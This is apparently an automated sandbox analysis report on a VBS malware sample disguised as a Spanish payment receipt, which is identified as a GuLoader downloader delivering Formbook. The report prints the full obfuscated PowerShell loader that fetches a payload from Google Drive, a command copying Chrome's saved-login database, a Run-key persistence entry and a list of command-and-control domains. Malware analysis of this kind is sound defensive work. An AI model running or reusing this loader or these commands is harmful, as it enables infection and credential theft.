Analysis
-
max time kernel
151s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
26-03-2024 12:43
Static task
static1
Behavioral task
behavioral1
Sample
justificante de pago_pdf.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
justificante de pago_pdf.vbs
Resource
win10v2004-20240226-en
General
-
Target
justificante de pago_pdf.vbs
-
Size
167KB
-
MD5
46fc70d31386d4539f1195a8c16981ad
-
SHA1
003035fe7f9d28c394486f1f0941a411ed70ff86
-
SHA256
2021b29b0f29e42b35f7796a8c7615307d555dcc4b0bbacb599f246f556e810a
-
SHA512
c4ad8b45cd303759d73d2fff7b48de7a42a050baea363fe51f1e61aef3b34dd8264bfac38080af93d7ab7ed03e122f374e33d679c9b0b5894a1db0615c695ce6
-
SSDEEP
3072:KpK6/PeadLaz+kxSzn9Lj7rZeqGbHfNcckB+HGuG5Elx7d5czQON8DMXVMK8m:KpKyPeadLaz+k0zn1j7rZeqGbHfNcckd
Malware Config
Extracted
formbook
4.1
mo46
mnt75.link
3531.vip
mtb-treasusry.com
jgdripcases.com
fuwnjq5d.shop
viralking.shop
eternalflorist.store
fangsgang.media
healthinsuranceudeserve.com
nomadadvertiser.com
iwuqb.pics
marlboro-nissan.com
massagemdossonhos.online
guhapplay.com
ingenieriaautomotriz56.com
email-555.com
mirarestaurants.com
theblueflamelabs.us
floristeriatheclover.com
mpmngr.online
winjiliapk.com
mzastudio.com
riskguardians.com
getreel.xyz
5bucks.cc
d3cargo.com
birdeye.markets
gstep.co.in
mygoodwalk.site
bevrobotics.com
newcrazyvision.com
cliniscribes.com
kegdol.xyz
sawstopmarketing.com
everpresent913.com
sg1noticias.com
heartlanefashions.com
66amk.com
yourdefectattorney.com
heejaznatural.shop
kurzrokderick.com
rackbudtesting.com
buzzifymaps.com
jaojeng888.biz
assetsx.io
ea-motorsports.com
allurearyts.com
goingproject.net
miamicorehealth.net
hoianbistro.com
fernfogmist.online
annaseojinpark.com
tryourckee.com
smartlockr.xyz
arcoyplata.com
businesshelp892933.com
51dm9.co
mydatabourg.com
pokerbet77.com
legacy-wholesale.com
saggingroofrepairservice.com
rednears.com
eventosguadalupe.com
remoteagents.co
mandatoryonline.com
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Formbook payload 4 IoCs
Processes:
resource yara_rule behavioral2/memory/5440-74-0x0000000000400000-0x00000000005E4000-memory.dmp formbook behavioral2/memory/5440-79-0x0000000000400000-0x00000000005E4000-memory.dmp formbook behavioral2/memory/3188-90-0x0000000000ED0000-0x0000000000EFF000-memory.dmp formbook behavioral2/memory/3188-93-0x0000000000ED0000-0x0000000000EFF000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
netsh.exedescription ioc process Key created \Registry\User\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run netsh.exe Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\VJPLGZUPBZC = "C:\\Program Files (x86)\\windows mail\\wab.exe" netsh.exe -
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 6 4744 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
Processes:
flow ioc 59 drive.google.com 60 drive.google.com 97 drive.google.com 168 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 5440 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 3464 powershell.exe 5440 wab.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exewab.exenetsh.exedescription pid process target process PID 3464 set thread context of 5440 3464 powershell.exe wab.exe PID 5440 set thread context of 3316 5440 wab.exe Explorer.EXE PID 3188 set thread context of 3316 3188 netsh.exe Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
netsh.exedescription ioc process Key created \Registry\User\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 netsh.exe -
Suspicious behavior: EnumeratesProcesses 33 IoCs
Processes:
powershell.exepowershell.exewab.exenetsh.exepid process 3612 powershell.exe 3612 powershell.exe 3612 powershell.exe 3464 powershell.exe 3464 powershell.exe 3464 powershell.exe 5440 wab.exe 5440 wab.exe 5440 wab.exe 5440 wab.exe 5440 wab.exe 5440 wab.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exewab.exenetsh.exepid process 3464 powershell.exe 5440 wab.exe 5440 wab.exe 5440 wab.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe 3188 netsh.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
Processes:
powershell.exepowershell.exewab.exeExplorer.EXEnetsh.exedescription pid process Token: SeDebugPrivilege 3612 powershell.exe Token: SeDebugPrivilege 3464 powershell.exe Token: SeDebugPrivilege 5440 wab.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeDebugPrivilege 3188 netsh.exe Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE Token: SeShutdownPrivilege 3316 Explorer.EXE Token: SeCreatePagefilePrivilege 3316 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3316 Explorer.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
WScript.exepowershell.exepowershell.exeExplorer.EXEnetsh.exedescription pid process target process PID 4744 wrote to memory of 3612 4744 WScript.exe powershell.exe PID 4744 wrote to memory of 3612 4744 WScript.exe powershell.exe PID 3612 wrote to memory of 3464 3612 powershell.exe powershell.exe PID 3612 wrote to memory of 3464 3612 powershell.exe powershell.exe PID 3612 wrote to memory of 3464 3612 powershell.exe powershell.exe PID 3464 wrote to memory of 5440 3464 powershell.exe wab.exe PID 3464 wrote to memory of 5440 3464 powershell.exe wab.exe PID 3464 wrote to memory of 5440 3464 powershell.exe wab.exe PID 3464 wrote to memory of 5440 3464 powershell.exe wab.exe PID 3464 wrote to memory of 5440 3464 powershell.exe wab.exe PID 3316 wrote to memory of 3188 3316 Explorer.EXE netsh.exe PID 3316 wrote to memory of 3188 3316 Explorer.EXE netsh.exe PID 3316 wrote to memory of 3188 3316 Explorer.EXE netsh.exe PID 3188 wrote to memory of 5224 3188 netsh.exe cmd.exe PID 3188 wrote to memory of 5224 3188 netsh.exe cmd.exe PID 3188 wrote to memory of 5224 3188 netsh.exe cmd.exe PID 3188 wrote to memory of 2964 3188 netsh.exe Firefox.exe PID 3188 wrote to memory of 2964 3188 netsh.exe Firefox.exe PID 3188 wrote to memory of 2964 3188 netsh.exe Firefox.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\justificante de pago_pdf.vbs"2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$smaabrnsfamilie;++$smaabrnsfamilie;$smaabrnsfamilie=$smaabrnsfamilie-1;Function Bedsteforldres ($sejlsportens){$estrangelo=5;$estrangelo++;For($miljbeskyttelseskonventionernes=5; $miljbeskyttelseskonventionernes -lt $sejlsportens.Length-1; $miljbeskyttelseskonventionernes+=$estrangelo){$Elevraad = 'substring';$Unconfinedness=$sejlsportens.$Elevraad.Invoke($miljbeskyttelseskonventionernes, 1);$Monark=$Monark+$Unconfinedness}$Monark;}$Klediskens=Bedsteforldres ' Pol,hY.kokt DetltCockppOne.osTotal:Flu,f/Le em/ SnkndAss nrSubagi H.usvhy ereGeo.a.Overlg Diseo Trino Ousegsanktl LegieSubg .Blo mcP,oauopl,num Ove./EgnstuSa secRadio?afvige gentxInfecpCereboKem.kr ostet.urga=.akkedSty.toForskw go.snKatiklProvioVelseaEvoludI.ple&Sygevi Trapd.nkon=Forho1ArterkCoc ez Nothw CarbDM,rsaQVesteWWpm,r6AnforIBlackj sp l7Bela.0.oppid VindwXanthcIntabkE,her-Joll nmil,b6Gunni1KultuiDe,onl,stelsBallie SalgQTjeneYFrste2 DaahQ ar,vmHindhgKerneyU ligTT.rminIltog ';$Fastgoere=$Klediskens.split([char]62);$Klediskens=$Fastgoere[0];$Uarbejdsdygtig=Bedsteforldres 'DelibiSinuseNo.chxTaleb ';$Kinetogenic = Bedsteforldres 'Khett\UndiasStam,yRustfs Phr wDrsaloAale wAchol6 Gr,p4 Erin\ franWBeta,iLo.alnNeurodcolo oHyperwClysesSonlePBea.eoarvirwTranseAmphirEcto.SGodkehSytteeS.kkelpa sel Cath\Ud,omvArbej1Tige,. Fest0Ponyi\.alampviktuoOmve.w KraeeLeverrJoistsTidobhStoice Precl Par,lmulew.BrandeCata xPe,ole Bran ';&($Uarbejdsdygtig) (Bedsteforldres 'Caneb$OutseNAnakioBlo,pnHept,pSquane SlaurS aphiSvirrlFluoroUdr.duPhytosFor.tlOpgreyMeder= De.o$ Inspe CynanB,evivT,ans:No.sewhelpaiI.esinEvangdLaveriSignarEnski ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Fritu$TmrerKUnstoiLspedn .leteU.iont ,ermoUnverg Ter eHassenDobbeiAlgebc Fran=Over $ExophN BetioPhenonU,hngpBoli,emikrorChlo icoupalSipu o,uderuAkhu,s Di.elNeff,y Rege+Serpe$ RubiKTnne,iDanskn Stepe,elekt.tregoBottogUl.raeMicrunChicaiLabricPremu ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Clean$DanskH In raNis enTrkkenFutt,yTril,s Spor Sten=Ge ph Gree(parc (B,eakgOverwwV,karm Dgn.i Yod, T.nanwgenetiVaa,enSlett3Subtr2,imme_ Pupap,yinzrHandlo.ollocOvereeUn,yssPio,es.libn Typeb-PrediFDsigr SansePplanlrSvejtoSheltc holeeTjen sSvindsscantIDiscodCamac= Un.u$Eskad{ SnesPBrdbaIT rfaDRe,er}Legeo)Misl,.Ko psCForaroOlenemMindem BonaaAtominF.razdSkopuLKi uriArbejnMccareAb,ik)F,rho Supe-Semims omanp TofolBeefii jametPie,e Sjles[,athecMeninhFingea ricr Mo i]Sejlb3L.tra4 Hexa ');&($Uarbejdsdygtig) (Bedsteforldres ' Sp,n$ ackiQFlskeuDoubla ycofg U,ros rog St.nd=m ppi Kaker$SaxtiHTeaktaFeltunTauron SatayPaakrsMarke[Overs$ orcHA.ngra DinknG.avenPrepayNdla.sfdrel. torsc porto TreduPearcnCamo.tRe.ur- Pidd2Cevic].nurp ');&($Uarbejdsdygtig) (Bedsteforldres 'Udsk $Supp,AClifftConcula bejaBrevpsAf albCen.rl,ejloa.olecdBajere Midt=Pivot(AntefTT.gneeForrasInte,tEnlig-Pro.ePFunguaBaldytFoochhBille Far a$OvercKDagskiOutlynUdm,neforstt Mar.oLovplgBedereZori.nBall.iUntanc Byg,)Anti, Falde-Avoc,AbahumnN,dzhd Hyst Afkl,( vera[PolycIKattynS,irmtB elgPPrdi t AmbirTold ]Udsp,:bur,e:Pretrs S,alish.lezLamareSapro N.dsk- ResueComplqShamp For.8 Apot)zeoli ') ;if ($Atlasblade) {.$Kinetogenic $Quags;} else {;$Disinfectants205=Bedsteforldres 'BenumS EksttForspaBasidrRettitTyran-In,jaBUng,uiUnde tMyldrsBetjeTalbinrStvveaIncurnFlumysDel afBumleeHypotrNonse omp-DirekS TromoAngiouPeradrS,rivcNo.steRevse Natur$Unco.K C,oklLrlineUnderdBer,fiGurr.sKollekm.rice ConvnudbldsCupse Str,f-LoreaDCollae,mfetsArchat,urkaiGudlsnNe,teaInhibt ommiiOndseoSkil,nH.lpe Chef$Mili NDrej oSelvanSvejfpAkko,e ReivrMiscoiD.scilNoninoHobhou SammsTricalGodseyErice ';&($Uarbejdsdygtig) (Bedsteforldres 'Mut g$SmkkeNPreenoDrapenEn,lnp Folke,traar RequiSk.belMastioOutc u uriesSla.ilModsiyNondi=Al er$Kv dieSlambnNonrevbag r:Sj,leaMeninpKrigspParked VenoaGennetStabiaOlig, ') ;&($Uarbejdsdygtig) (Bedsteforldres 'nglepIPalinm rbepBlankoGla.or In,bt Lill-PatchM AnkeostemmdBlokbuSpe tlGe,gleModta SavatBInc miansvat Un,osU,indTMobbirsrbesa Billn B,ndsNonarfNideueSpirarKends ') ;$Nonperilously=$Nonperilously+'\Kasmira.Els';while (-not $Resplendent) {&($Uarbejdsdygtig) (Bedsteforldres 'Outba$E cloRinuree .nprsLithop Misel,onceeQuarrnDemardSkrideG obin Extet Path=Signi(payabTJungieSknd,s QuivtNegre- SpinPSkurka ,odetKolonhFejlm Delbe$NanniN AntioBestynforflpNajedeMargar mudsi Und lStri oSkat,u La tsTastelsk.tty Nrin)monar ') ;&($Uarbejdsdygtig) $Disinfectants205;&($Uarbejdsdygtig) (Bedsteforldres 'Forf SGallit Ti,sapladsr ordrtTasta-MillwSProcel PatreFryseeHegnep Fedr Fornr5Lukan ');$Klediskens=$Fastgoere[$Dysfunktioner++%$Fastgoere.count];}&($Uarbejdsdygtig) (Bedsteforldres 'Snyde$BroomUSkurenGuttsw ntomi Forlt LogasPt.ra Andro=Typa BrdknGliveneB.stiter,en- PropCDi.coo MyxonFecultOrnameEthern.ignit rnas Hem.t$SovieNSnorroT plonUnprepHukome E,farGrnsviAmusilAfrinoPoussuFors.so,erflMagtsy,nise ');&($Uarbejdsdygtig) (Bedsteforldres 'Trbu $ .rthRA.ulegS,estt Ver.oLoinebTalukaEpiplkDeton Av g=Ope,a Carat[NonflS Carcy atios,dvektGenmaeLavytmHyper.BronzCTerrio.agsbnfyldjvAktive Dat r Mfint Torn]R,gma:merkh:TaktiFVagt rS.allo DisimIntegBSemivaRektisVolumeAught6Ptero4UbesiS,asertbankor BookiEgernn,egisgpulve(Vis t$Faa.aUBlsebnSkil,wMi,liiUncort.hoomsvrkfr) Tipt ');&($Uarbejdsdygtig) (Bedsteforldres 'Skynd$ AttrEAm,lekUkampsFeroca.houlmMagree T.ngnSaddlsactuao FritrKommadVii,dnpachyiSu,sdnDo,umg SchieKamphrTaft. Hv el=Ja,ke stell[ActivSHand.y mosqs SnuptMe.oreOdyssmKvl.i.BrugeTIndplePrissxGlegltMa,to.Mil iE ThulnRos lcPrereoIndr dIndiuiMun.hnLiquogPensi]Jetpo:Enr,d: Go,nALo.alSMu,tiCRackmI dgaIArbej.act.nGParlre Ili.t FretS F retPo,itrTunfiiCirrin im rg.alvt(Night$EksplROve sgkvarttMustfoNonp.bTankeaArenakrosul)Actin ');&($Uarbejdsdygtig) (Bedsteforldres 'Labyr$ PhonKk,teraRaglatInfraoPositd arlseMes.r=Cuida$SvensEAtomukI.norsCollyaEftermJubileTjavsnG belsSonjaoFosterNubredU.sconTaljeiAfsenn ossgUndefeShougrFaint. PraisIgn mu bndsbBoti,sKorset Kompr VesiiVortindi bagReach( nani3T rbi0Hydro9 dema3Vinte3attor2Ko st, Skmm2B lti6 Nair0Acces0Husvi5Shadu)Overc ');&($Uarbejdsdygtig) $Katode;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$smaabrnsfamilie;++$smaabrnsfamilie;$smaabrnsfamilie=$smaabrnsfamilie-1;Function Bedsteforldres ($sejlsportens){$estrangelo=5;$estrangelo++;For($miljbeskyttelseskonventionernes=5; $miljbeskyttelseskonventionernes -lt $sejlsportens.Length-1; $miljbeskyttelseskonventionernes+=$estrangelo){$Elevraad = 'substring';$Unconfinedness=$sejlsportens.$Elevraad.Invoke($miljbeskyttelseskonventionernes, 1);$Monark=$Monark+$Unconfinedness}$Monark;}$Klediskens=Bedsteforldres ' Pol,hY.kokt DetltCockppOne.osTotal:Flu,f/Le em/ SnkndAss nrSubagi H.usvhy ereGeo.a.Overlg Diseo Trino Ousegsanktl LegieSubg .Blo mcP,oauopl,num Ove./EgnstuSa secRadio?afvige gentxInfecpCereboKem.kr ostet.urga=.akkedSty.toForskw go.snKatiklProvioVelseaEvoludI.ple&Sygevi Trapd.nkon=Forho1ArterkCoc ez Nothw CarbDM,rsaQVesteWWpm,r6AnforIBlackj sp l7Bela.0.oppid VindwXanthcIntabkE,her-Joll nmil,b6Gunni1KultuiDe,onl,stelsBallie SalgQTjeneYFrste2 DaahQ ar,vmHindhgKerneyU ligTT.rminIltog ';$Fastgoere=$Klediskens.split([char]62);$Klediskens=$Fastgoere[0];$Uarbejdsdygtig=Bedsteforldres 'DelibiSinuseNo.chxTaleb ';$Kinetogenic = Bedsteforldres 'Khett\UndiasStam,yRustfs Phr wDrsaloAale wAchol6 Gr,p4 Erin\ franWBeta,iLo.alnNeurodcolo oHyperwClysesSonlePBea.eoarvirwTranseAmphirEcto.SGodkehSytteeS.kkelpa sel Cath\Ud,omvArbej1Tige,. Fest0Ponyi\.alampviktuoOmve.w KraeeLeverrJoistsTidobhStoice Precl Par,lmulew.BrandeCata xPe,ole Bran ';&($Uarbejdsdygtig) (Bedsteforldres 'Caneb$OutseNAnakioBlo,pnHept,pSquane SlaurS aphiSvirrlFluoroUdr.duPhytosFor.tlOpgreyMeder= De.o$ Inspe CynanB,evivT,ans:No.sewhelpaiI.esinEvangdLaveriSignarEnski ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Fritu$TmrerKUnstoiLspedn .leteU.iont ,ermoUnverg Ter eHassenDobbeiAlgebc Fran=Over $ExophN BetioPhenonU,hngpBoli,emikrorChlo icoupalSipu o,uderuAkhu,s Di.elNeff,y Rege+Serpe$ RubiKTnne,iDanskn Stepe,elekt.tregoBottogUl.raeMicrunChicaiLabricPremu ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Clean$DanskH In raNis enTrkkenFutt,yTril,s Spor Sten=Ge ph Gree(parc (B,eakgOverwwV,karm Dgn.i Yod, T.nanwgenetiVaa,enSlett3Subtr2,imme_ Pupap,yinzrHandlo.ollocOvereeUn,yssPio,es.libn Typeb-PrediFDsigr SansePplanlrSvejtoSheltc holeeTjen sSvindsscantIDiscodCamac= Un.u$Eskad{ SnesPBrdbaIT rfaDRe,er}Legeo)Misl,.Ko psCForaroOlenemMindem BonaaAtominF.razdSkopuLKi uriArbejnMccareAb,ik)F,rho Supe-Semims omanp TofolBeefii jametPie,e Sjles[,athecMeninhFingea ricr Mo i]Sejlb3L.tra4 Hexa ');&($Uarbejdsdygtig) (Bedsteforldres ' Sp,n$ ackiQFlskeuDoubla ycofg U,ros rog St.nd=m ppi Kaker$SaxtiHTeaktaFeltunTauron SatayPaakrsMarke[Overs$ orcHA.ngra DinknG.avenPrepayNdla.sfdrel. torsc porto TreduPearcnCamo.tRe.ur- Pidd2Cevic].nurp ');&($Uarbejdsdygtig) (Bedsteforldres 'Udsk $Supp,AClifftConcula bejaBrevpsAf albCen.rl,ejloa.olecdBajere Midt=Pivot(AntefTT.gneeForrasInte,tEnlig-Pro.ePFunguaBaldytFoochhBille Far a$OvercKDagskiOutlynUdm,neforstt Mar.oLovplgBedereZori.nBall.iUntanc Byg,)Anti, Falde-Avoc,AbahumnN,dzhd Hyst Afkl,( vera[PolycIKattynS,irmtB elgPPrdi t AmbirTold ]Udsp,:bur,e:Pretrs S,alish.lezLamareSapro N.dsk- ResueComplqShamp For.8 Apot)zeoli ') ;if ($Atlasblade) {.$Kinetogenic $Quags;} else {;$Disinfectants205=Bedsteforldres 'BenumS EksttForspaBasidrRettitTyran-In,jaBUng,uiUnde tMyldrsBetjeTalbinrStvveaIncurnFlumysDel afBumleeHypotrNonse omp-DirekS TromoAngiouPeradrS,rivcNo.steRevse Natur$Unco.K C,oklLrlineUnderdBer,fiGurr.sKollekm.rice ConvnudbldsCupse Str,f-LoreaDCollae,mfetsArchat,urkaiGudlsnNe,teaInhibt ommiiOndseoSkil,nH.lpe Chef$Mili NDrej oSelvanSvejfpAkko,e ReivrMiscoiD.scilNoninoHobhou SammsTricalGodseyErice ';&($Uarbejdsdygtig) (Bedsteforldres 'Mut g$SmkkeNPreenoDrapenEn,lnp Folke,traar RequiSk.belMastioOutc u uriesSla.ilModsiyNondi=Al er$Kv dieSlambnNonrevbag r:Sj,leaMeninpKrigspParked VenoaGennetStabiaOlig, ') ;&($Uarbejdsdygtig) (Bedsteforldres 'nglepIPalinm rbepBlankoGla.or In,bt Lill-PatchM AnkeostemmdBlokbuSpe tlGe,gleModta SavatBInc miansvat Un,osU,indTMobbirsrbesa Billn B,ndsNonarfNideueSpirarKends ') ;$Nonperilously=$Nonperilously+'\Kasmira.Els';while (-not $Resplendent) {&($Uarbejdsdygtig) (Bedsteforldres 'Outba$E cloRinuree .nprsLithop Misel,onceeQuarrnDemardSkrideG obin Extet Path=Signi(payabTJungieSknd,s QuivtNegre- SpinPSkurka ,odetKolonhFejlm Delbe$NanniN AntioBestynforflpNajedeMargar mudsi Und lStri oSkat,u La tsTastelsk.tty Nrin)monar ') ;&($Uarbejdsdygtig) $Disinfectants205;&($Uarbejdsdygtig) (Bedsteforldres 'Forf SGallit Ti,sapladsr ordrtTasta-MillwSProcel PatreFryseeHegnep Fedr Fornr5Lukan ');$Klediskens=$Fastgoere[$Dysfunktioner++%$Fastgoere.count];}&($Uarbejdsdygtig) (Bedsteforldres 'Snyde$BroomUSkurenGuttsw ntomi Forlt LogasPt.ra Andro=Typa BrdknGliveneB.stiter,en- PropCDi.coo MyxonFecultOrnameEthern.ignit rnas Hem.t$SovieNSnorroT plonUnprepHukome E,farGrnsviAmusilAfrinoPoussuFors.so,erflMagtsy,nise ');&($Uarbejdsdygtig) (Bedsteforldres 'Trbu $ .rthRA.ulegS,estt Ver.oLoinebTalukaEpiplkDeton Av g=Ope,a Carat[NonflS Carcy atios,dvektGenmaeLavytmHyper.BronzCTerrio.agsbnfyldjvAktive Dat r Mfint Torn]R,gma:merkh:TaktiFVagt rS.allo DisimIntegBSemivaRektisVolumeAught6Ptero4UbesiS,asertbankor BookiEgernn,egisgpulve(Vis t$Faa.aUBlsebnSkil,wMi,liiUncort.hoomsvrkfr) Tipt ');&($Uarbejdsdygtig) (Bedsteforldres 'Skynd$ AttrEAm,lekUkampsFeroca.houlmMagree T.ngnSaddlsactuao FritrKommadVii,dnpachyiSu,sdnDo,umg SchieKamphrTaft. Hv el=Ja,ke stell[ActivSHand.y mosqs SnuptMe.oreOdyssmKvl.i.BrugeTIndplePrissxGlegltMa,to.Mil iE ThulnRos lcPrereoIndr dIndiuiMun.hnLiquogPensi]Jetpo:Enr,d: Go,nALo.alSMu,tiCRackmI dgaIArbej.act.nGParlre Ili.t FretS F retPo,itrTunfiiCirrin im rg.alvt(Night$EksplROve sgkvarttMustfoNonp.bTankeaArenakrosul)Actin ');&($Uarbejdsdygtig) (Bedsteforldres 'Labyr$ PhonKk,teraRaglatInfraoPositd arlseMes.r=Cuida$SvensEAtomukI.norsCollyaEftermJubileTjavsnG belsSonjaoFosterNubredU.sconTaljeiAfsenn ossgUndefeShougrFaint. PraisIgn mu bndsbBoti,sKorset Kompr VesiiVortindi bagReach( nani3T rbi0Hydro9 dema3Vinte3attor2Ko st, Skmm2B lti6 Nair0Acces0Husvi5Shadu)Overc ');&($Uarbejdsdygtig) $Katode;}"4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"5⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe"2⤵
- Adds policy Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2268 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\DB1Filesize
46KB
MD502d2c46697e3714e49f46b680b9a6b83
SHA184f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA51260348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kdpjny1b.zrs.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\K79MQ10B\K79logrv.iniFilesize
872B
MD5bbc41c78bae6c71e63cb544a6a284d94
SHA133f2c1d9fa0e9c99b80bc2500621e95af38b1f9a
SHA256ee83c6bcea9353c74bfc0a7e739f3c4a765ace894470e09cdcdebba700b8d4cb
SHA5120aea424b57adae3e14ad6491cab585f554b4dffe601b5a17bad6ee6177d2f0f995e419cde576e2d1782b9bddc0661aada11a2c9f1454ae625d9e3223635ec9f4
-
memory/3188-90-0x0000000000ED0000-0x0000000000EFF000-memory.dmpFilesize
188KB
-
memory/3188-109-0x00000000019B0000-0x0000000001A43000-memory.dmpFilesize
588KB
-
memory/3188-115-0x00000000019B0000-0x0000000001A43000-memory.dmpFilesize
588KB
-
memory/3188-93-0x0000000000ED0000-0x0000000000EFF000-memory.dmpFilesize
188KB
-
memory/3188-92-0x0000000001C70000-0x0000000001FBA000-memory.dmpFilesize
3.3MB
-
memory/3188-89-0x0000000000F50000-0x0000000000F6E000-memory.dmpFilesize
120KB
-
memory/3188-86-0x0000000000F50000-0x0000000000F6E000-memory.dmpFilesize
120KB
-
memory/3316-110-0x0000000002BF0000-0x0000000002D05000-memory.dmpFilesize
1.1MB
-
memory/3316-116-0x00000000084D0000-0x00000000085D2000-memory.dmpFilesize
1.0MB
-
memory/3316-81-0x0000000002BF0000-0x0000000002D05000-memory.dmpFilesize
1.1MB
-
memory/3464-52-0x0000000003080000-0x0000000003090000-memory.dmpFilesize
64KB
-
memory/3464-38-0x0000000003080000-0x0000000003090000-memory.dmpFilesize
64KB
-
memory/3464-17-0x0000000074990000-0x0000000075140000-memory.dmpFilesize
7.7MB
-
memory/3464-18-0x0000000003080000-0x0000000003090000-memory.dmpFilesize
64KB
-
memory/3464-39-0x0000000008250000-0x00000000088CA000-memory.dmpFilesize
6.5MB
-
memory/3464-40-0x0000000006CB0000-0x0000000006CCA000-memory.dmpFilesize
104KB
-
memory/3464-41-0x0000000007C70000-0x0000000007D06000-memory.dmpFilesize
600KB
-
memory/3464-42-0x0000000007940000-0x0000000007962000-memory.dmpFilesize
136KB
-
memory/3464-19-0x0000000002F40000-0x0000000002F76000-memory.dmpFilesize
216KB
-
memory/3464-20-0x0000000003080000-0x0000000003090000-memory.dmpFilesize
64KB
-
